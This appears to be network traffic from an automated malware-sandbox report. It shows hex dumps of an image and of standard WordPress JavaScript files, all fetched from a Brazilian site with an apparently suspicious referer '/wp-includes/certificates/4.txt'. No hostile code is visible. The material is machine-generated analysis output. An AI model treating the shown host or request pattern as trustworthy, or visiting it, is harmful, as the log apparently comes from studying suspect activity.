                                                              Data Raw: ff d8 ff e1 0d 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 00 32 30 31 34 3a 30 39 3a 30 39 20 31 31 3a 32 39 3a 34 39 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 08 a0 a0 03 00 04 00 00 00 01 00 00 04 7e 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 1e 01 1b 00 05 00 00 00 01 00 00 01 26 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 2e 02 02 00 04 00 00 00 01 00 00 0c 4c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 01 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 53 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f2 d0 1b 06 66 7b 42 50 13 ca 65 60 2d 54 24 92 52 8a 92 55 b0 87 07 10 dd 24 13 e2 3e 48 b4 3e a6 89 77 b9 d3 01 9d b8 fa 45 ca b4 a2 d2 fa 98 e0 f7 82 63 80 d8 1f f5 41 c9 20 87 a2 e9 ce c3 a1 8c c9 77 e6 38 1b 76 92 1d b4 7f a3 a9 e6 bd de ff 00 e5 2d da fe b7 f4 ed d4 0d 8e 63 43 40 75 61 bb 98 09 fa 5f a4 30 ff 00 d1 ae 1a cc d6 ba 0b 77 82 01 d1 c4 1d 4f c3 67 f9 c9 1c c2 f0 0d 92 e7 31 a1 ad 92 48 8f 99 f6 a2 24 b0 c2 fa
                                                              Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop CS5 Windows2014:09:09 11:29:49~&(.LHHAdobe_CMAdobedS"?3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?f{BPe`-T$RU$>H>wEcA w8v-cC@ua_0wOg1H$
                                                              Aug 16, 2022 10:33:25.485569000 CEST1455INData Raw: 3e 83 6e 57 d5 be b5 53 68 bc 34 ef 90 d9 d1 cd 33 fe 0d ff 00 49 9f f5 0b 94 eb ff 00 55 32 3a 60 39 38 e4 e5 60 ce b6 01 ee 64 fe 6d d1 ff 00 56 b3 71 b2 cd 4f 6b e3 70 04 12 c3 20 18 fe af bb fc d5 da 74 5e bf d3 c1 8a ed b2 82 41 9a af db 6b
                                                              Data Ascii: >nWSh43IU2:`98`dmVqOkp t^Ak\?)S,fPou]/8TzDd1&{k-PO3(X@N}RV0uR4GdiSmW=G*[T@Fs<P9<+KxKiFlRN44N
                                                              Aug 16, 2022 10:33:25.485699892 CEST1457INData Raw: 89 73 58 d6 19 d0 b2 40 92 67 45 27 fa 5e 91 b1 b6 4b b4 68 0e 00 18 db 27 d8 dd ff 00 45 de c6 59 b9 09 95 ba c2 43 01 3b 41 73 88 13 0d 1f 49 ee 85 07 19 3f 0d 02 04 f6 4a a4 94 a5 34 a4 95 95 32 07 9f c5 22 64 cf 1a f6 51 52 de 36 86 c0 e6 77
                                                              Data Ascii: sX@gE'^Kh'EYC;AsI?J42"dQR6ww'L0u#nuD;i-nUNi`32\7vcavtl+K}i7PP}Qs7=%~eTfUt#cAok~df;3Y{kT
                                                              Aug 16, 2022 10:33:25.485817909 CEST1458INData Raw: 54 00 00 00 01 00 00 00 38 42 49 4d 04 3b 00 00 00 00 01 b2 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 12 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00
                                                              Data Ascii: T8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@o
                                                              Aug 16, 2022 10:33:25.485889912 CEST1460INData Raw: 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 04 7e 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 08 a0 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00
                                                              Data Ascii: Top longLeftlongBtomlong~RghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHorzAligndefaultvertAlignenum
                                                              Aug 16, 2022 10:33:25.486011028 CEST1461INData Raw: 16 d5 d8 53 6d 57 3d 12 04 47 2a 0e aa 12 a5 5b 54 b6 13 40 46 73 3c 94 0b 50 a4 82 ff 00 ff d0 f2 e4 a1 39 11 ce 89 08 3c 2b 4b 16 84 8a 78 4b 69 46 95 6c 52 82 9e 07 90 4e d6 92 0b 84 34 34 4e bd f5 ff 00 aa 42 93 6c 61 17 65 7e 98 2d 27 78 9d
                                                              Data Ascii: SmW=G*[T@Fs<P9<+KxKiFlRN44NBlae~-'x10[\nJv16,AkRaNAhZk{~{XH|:6Ctnv=N/NE'tN`V^we.ug>*
                                                              Aug 16, 2022 10:33:25.486082077 CEST1462INData Raw: a7 73 1c 7f 37 de e7 db fa 3d ec ff 00 83 fd cb 25 d3 7e b4 65 54 f1 66 55 c2 d2 e0 09 74 82 e0 23 63 41 6f e6 ed 6b 7f 9b ff 00 06 b0 7e ad 64 16 66 9c 3b 33 ab c0 c3 be 59 7b ef 6b 9f 54 e8 fa f7 d5 35 b9 9f a4 63 3f 4b ea 57 e9 ae cb ad 59 d1
                                                              Data Ascii: s7=%~eTfUt#cAok~df;3Y{kT5c?KWYzuo7WN{\UXMVH;h}K_DH{v9ncGU/lp.pZ=\9tRj8kA--p~glbW-7v{Y_/VqcVw
                                                              Aug 16, 2022 10:33:25.486191034 CEST1464INData Raw: 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e
                                                              Data Ascii: -ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xml
                                                              Aug 16, 2022 10:33:25.486300945 CEST1465INData Raw: 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                              Data Ascii: DF> </x:xmpmeta>
                                                              Aug 16, 2022 10:33:25.486457109 CEST1467INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                              Data Ascii:
                                                              Aug 16, 2022 10:33:25.727073908 CEST1477INData Raw: 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 64 65 73 63 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 65 63 2e 63 68 00 00 00 00 00 00 00 00 00 00 00 16 49 45 43 20 68 74 74 70 3a 2f 2f 77 77 77 2e
                                                              Data Ascii: XYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space -
                                                              Aug 16, 2022 10:33:27.647413015 CEST2420OUTGET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:27.885432005 CEST2435INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:53 GMT
                                                              Server: Apache
                                                              ETag: "a4fbbc-38f9-58592ec603240"
                                                              Last-Modified: Tue, 02 Apr 2019 21:36:01 GMT
                                                              Content-Length: 14585
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 18313213 18601749
                                                              Age: 214
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 63 66 37 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 7c 7c 20 77 70 63 66 37 20 3d 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 3b 0a 09 7d 0a 0a 09 77 70 63 66 37 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 7b 0a 09 09 63 61 63 68 65 64 3a 20 30 2c 0a 09 09 69 6e 70 75 74 73 3a 20 5b 5d 0a 09 7d 2c 20 77 70 63 66 37 20 29 3b 0a 0a 09 24 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 77 70 63 66 37 2e 73 75 70 70 6f 72 74 48 74 6d 6c 35 20 3d 20 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 66 65 61 74 75 72 65 73 20 3d 20 7b 7d 3b 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 20 27 69 6e 70 75 74 27 20 29 3b 0a 0a 09 09 09 66 65 61 74 75 72 65 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 20 3d 20 27 70 6c 61 63 65 68 6f 6c 64 65 72 27 20 69 6e 20 69 6e 70 75 74 3b 0a 0a 09 09 09 76 61 72 20 69 6e 70 75 74 54 79 70 65 73 20 3d 20 5b 20 27 65 6d 61 69 6c 27 2c 20 27 75 72 6c 27 2c 20 27 74 65 6c 27 2c 20 27 6e 75 6d 62 65 72 27 2c 20 27 72 61 6e 67 65 27 2c 20 27 64 61 74 65 27 20 5d 3b 0a 0a 09 09 09 24 2e 65 61 63 68 28 20 69 6e 70 75 74 54 79 70 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 09 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 74 79 70 65 27 2c 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 66 65 61 74 75 72 65 73 5b 20 76 61 6c 75 65 20 5d 20 3d 20 69 6e 70 75 74 2e 74 79 70 65 20 21 3d 3d 20 27 74 65 78 74 27 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 65 61 74 75 72 65 73 3b 0a 09 09 7d 20 29 28 29 3b 0a 0a 09 09 24 28 20 27 64 69 76 2e 77 70 63 66 37 20 3e 20 66 6f 72 6d 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 74 68 69 73 20 29 3b 0a 09 09 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 28 20 24 66 6f 72 6d 20 29 3b 0a 0a 09 09 09 69 66 20 28 20 77 70 63 66 37 2e 63 61 63 68 65 64 20 29 20 7b 0a 09 09 09 09 77 70 63 66 37 2e 72 65 66 69 6c 6c 28 20 24 66 6f 72 6d 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 20 29 3b 0a 09 7d 20 29 3b 0a 0a 09 77 70 63 66 37 2e 67 65 74 49 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 20 24 28 20 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 5f 77 70 63 66 37 22 5d 27 2c 20 66 6f 72 6d 20 29 2e 76 61 6c 28 29 2c 20 31 30 20 29 3b 0a 09 7d 3b 0a 0a 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 66 6f 72 6d 20 29 3b 0a 0a 09 09 24 66 6f 72 6d 2e 73
                                                              Data Ascii: ( function( $ ) {'use strict';if ( typeof wpcf7 === 'undefined' || wpcf7 === null ) {return;}wpcf7 = $.extend( {cached: 0,inputs: []}, wpcf7 );$( function() {wpcf7.supportHtml5 = ( function() {var features = {};var input = document.createElement( 'input' );features.placeholder = 'placeholder' in input;var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];$.each( inputTypes, function( index, value ) {input.setAttribute( 'type', value );features[ value ] = input.type !== 'text';} );return features;} )();$( 'div.wpcf7 > form' ).each( function() {var $form = $( this );wpcf7.initForm( $form );if ( wpcf7.cached ) {wpcf7.refill( $form );}} );} );wpcf7.getId = function( form ) {return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );};wpcf7.initForm = function( form ) {var $form = $( form );$form.s
                                                              Aug 16, 2022 10:33:27.892644882 CEST2450OUTGET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.133493900 CEST2458INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:42 GMT
                                                              Server: Apache
                                                              ETag: "a53a4f-4d31-58592d7651a40"
                                                              Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT
                                                              Content-Length: 19761
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 18313215 17187985
                                                              Age: 285
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 76 61 72 20 43 68 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 73 29 7b 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 63 2c 62 29 7b 61 3d 41 28 28 61 2d 63 2e 67 72 61 70 68 4d 69 6e 29 2f 28 63 2e 73 74 65 70 73 2a 63 2e 73 74 65 70 56 61 6c 75 65 29 2c 31 2c 30 29 3b 72 65 74 75 72 6e 20 62 2a 63 2e 73 74 65 70 73 2a 61 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 63 2c 62 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 67 2b 3d 66 3b 76 61 72 20 6b 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 41 28 64 28 67 29 2c 6e 75 6c 6c 2c 30 29 3a 31 3b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 71 2c 75 29 3b 61 2e 73 63 61 6c 65 4f 76 65 72 6c 61 79 3f 28 62 28 6b 29 2c 63 28 29 29 3a 28 63 28 29 2c 62 28 6b 29 29 3b 69 66 28 31 3e 3d 67 29 44 28 68 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 29 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 29 7d 76 61 72 20 66 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 31 2f 41 28 61 2e 61 6e 69 6d 61 74 69 6f 6e 53 74 65 70 73 2c 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 31 29 3a 31 2c 64 3d 42 5b 61 2e 61 6e 69 6d 61 74 69 6f 6e 45 61 73 69 6e 67 5d 2c 67 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 30 3a 31 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 44 28 68 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 63 2c 62 2c 65 2c 68 2c 66 29 7b 76 61 72 20 64 3b 61 3d 0a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 6c 6f 67 28 65 2d 68 29 2f 4d 61 74 68 2e 4c 4e 31 30 29 3b 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 65 3d 4d 61 74 68 2e 63 65 69 6c 28 65 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 2d 68 3b 61 3d 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 66 6f 72 28 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 64 3c 62 7c 7c 64 3e 63 3b 29 61 3d 64 3c 62 3f 61 2f 32 3a 32 2a 61 2c 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 63 3d 5b 5d 3b 7a 28 66 2c 63 2c 64 2c 68 2c 61 29 3b 72 65 74 75 72 6e 7b 73 74 65 70 73 3a 64 2c 73 74 65 70 56 61 6c 75 65 3a 61 2c 67 72 61 70 68 4d 69 6e 3a 68 2c 6c 61 62 65 6c 73 3a 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 63 2c 62 2c 65 2c 68 29 7b 69 66 28 61 29 66 6f 72 28 76 61 72 20 66 3d 31 3b 66 3c 62 2b 31 3b 66 2b 2b 29 63 2e 70 75 73 68 28 45 28 61 2c 7b 76 61 6c 75 65 3a 28 65 2b 68 2a 66 29 2e 74 6f 46 69 78 65 64 28 30 21 3d 68 25 31 3f 68 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 21 69 73 4e 61 4e
                                                              Data Ascii: var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.steps*c.stepValue),1,0);return b*c.steps*a}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1*Math.pow(10,a)))*Math.pow(10,a);e=Math.ceil(e/(1*Math.pow(10,a)))*Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b||d>c;)a=d<b?a/2:2*a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN
                                                              Aug 16, 2022 10:33:28.142261028 CEST2479OUTGET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.602994919 CEST2482OUTGET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.845793009 CEST2486INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:45 GMT
                                                              Server: Apache
                                                              ETag: "a53568-b61-58592d4b67500"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT
                                                              Content-Length: 2913
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 17727198 18601739
                                                              Age: 283
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 2c 65 3d 64 2e 63 2c 67 3d 61 28 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 65 2e 61 72 72 6f 77 43 6c 61 73 73 2b 27 22 3e 20 26 23 31 38 37 3b 3c 2f 73 70 61 6e 3e 27 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 64 3d 6a 28 62 29 3b 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 30 29 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 64 2e 73 66 54 69 6d 65 72 29 3b 62 2e 73 68 6f 77 53 75 70 65 72 66 69 73 68 55 6c 28 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 66 3d 6a 28 62 29 2c 65 3d 64 2e 6f 70 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 74 61 69 6e 50 61 74 68 3d 2d 31 3c 61 2e 69 6e 41 72 72 61 79 28 62 5b 30 5d 2c 65 2e 24 70 61 74 68 29 3b 62 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 3b 65 2e 24 70 61 74 68 2e 6c 65 6e 67 74 68 26 26 31 3e 62 2e 70 61 72 65 6e 74 73 28 22 6c 69 2e 22 2b 65 2e 68 6f 76 65 72 43 6c 61 73 73 29 2e 6c 65 6e 67 74 68 26 26 28 65 2e 6f 6e 49 64 6c 65 2e 63 61 6c 6c 28 29 2c 61 2e 70 72 6f 78 79 28 6b 2c 0a 65 2e 24 70 61 74 68 2c 63 29 28 29 29 7d 3b 22 6d 6f 75 73 65 6c 65 61 76 65 22 21 3d 3d 63 2e 74 79 70 65 26 26 22 66 6f 63 75 73 6f 75 74 22 21 3d 3d 63 2e 74 79 70 65 3f 67 28 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 66 2e 73 66 54 69 6d 65 72 29 2c 66 2e 73 66 54 69 6d 65 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 65 2e 64 65 6c 61 79 29 29 3b 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 31 29 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 68 61 73 43 6c 61 73 73 28 65 2e 6d 65 6e 75 43 6c 61 73 73 29 26 26 61 2e 65 72 72 6f 72 28 22 53 75 70 65 72 66 69 73 68 20 